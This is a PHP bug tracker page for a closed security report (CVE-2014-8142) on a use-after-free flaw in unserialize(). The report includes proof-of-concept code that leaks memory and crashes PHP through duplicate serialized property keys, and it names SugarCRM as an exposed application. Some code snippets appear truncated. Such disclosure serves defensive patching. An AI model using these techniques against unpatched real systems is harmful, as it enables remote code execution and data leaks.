|  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #68594 Use after free vulnerability in unserialize()
Submitted: 2014-12-12 03:21 UTC Modified: 2014-12-19 09:44 UTC
From: Assigned: stas (profile)
Status: Closed Package: *Data Exchange functions
PHP Version: 5.4.35 OS: *
Private report: No CVE-ID: 2014-8142
 [2014-12-12 03:21 UTC]
Reported by Stefan Esser <>:

A while ago the function "process_nested_data" was changed to better
handle object properties. Before it was possible to create numeric
object properties which would cause trouble down the road. So the
following code was added:

        if (!objprops) {
        } else {
            /* object properties should include no integers */
            zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,
                    sizeof data, NULL);

Whoever wrote this code did not know about the history of the
unserialize() function and that in earlier times (2004) I found a use
after free vulnerability in it. A non detailed write up can be found in [Bug 7].

The problem with the above code is that when there are two identical
keys in the object's serialized properties the second key will delete
the first one from memory and destroy the ZVAL associated with it. This
means that ZVAL and all its children is freed from memory. However the
unserialize() code will still allow to use R: or r: to set references to
that already freed memory. It has been demonstrated many times before
that use after free inside unserialize() allows an attacker to execute
arbitrary code. Also some programs do not only unserialize() user input
but they also sent a serialized() reply back to the caller. In such a
setup an attacker can not only trigger code execution but also leak
memory content from remote. This together means he can write a fully
working remote exploit that bypasses all modern mitigations. Examples
how that was possible before you can see from this slide deck (starting
from slide 30)

Last time I checked one prominent example of PHP code that uses
unserialize() and serialize() in this way is: SugarCRM

The following code shows the leak:


$data =

$x = unserialize($data);

$ php test.php
object(stdClass)#1 (2) {
  &string(39) "1Y?/"

And the following code should crash PHP:


for ($i=4; $i<100; $i++) {


$m = new StdClass();

$u = array(1);

$m->aaa = array(1,2,&$u,4,5);
$m->bbb = 1;
$m->ccc = &$u;
$m->ddd = str_repeat("A", $i);

$z = serialize($m);
$z = str_replace("bbb", "aaa", $z);
$y = unserialize($z);

As you can see here:

$ php x.php
object(stdClass)#2 (3) {
  string(4) "AAAA"
object(stdClass)#1 (3) {
  string(5) "AAAAA"
Segmentation fault: 11

Somewhen before you fix and release this I will prepare a POC that
demonstrates full control over the program counter and to leak specific
stuff from the system.


Add a Patch

Pull Requests

Add a Pull Request


AllCommentsChangesGit/SVN commitsRelated reports
 [2014-12-13 06:54 UTC]
-CVE-ID: +CVE-ID: 2014-8142
 [2014-12-13 06:54 UTC]
Please use CVE-2014-8142 for this issue.
 [2014-12-19 09:44 UTC]
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2014-12-19 09:44 UTC]
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at

 For Windows:
Thank you for the report, and for helping us make PHP better.

PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Jul 23 18:01:30 2024 UTC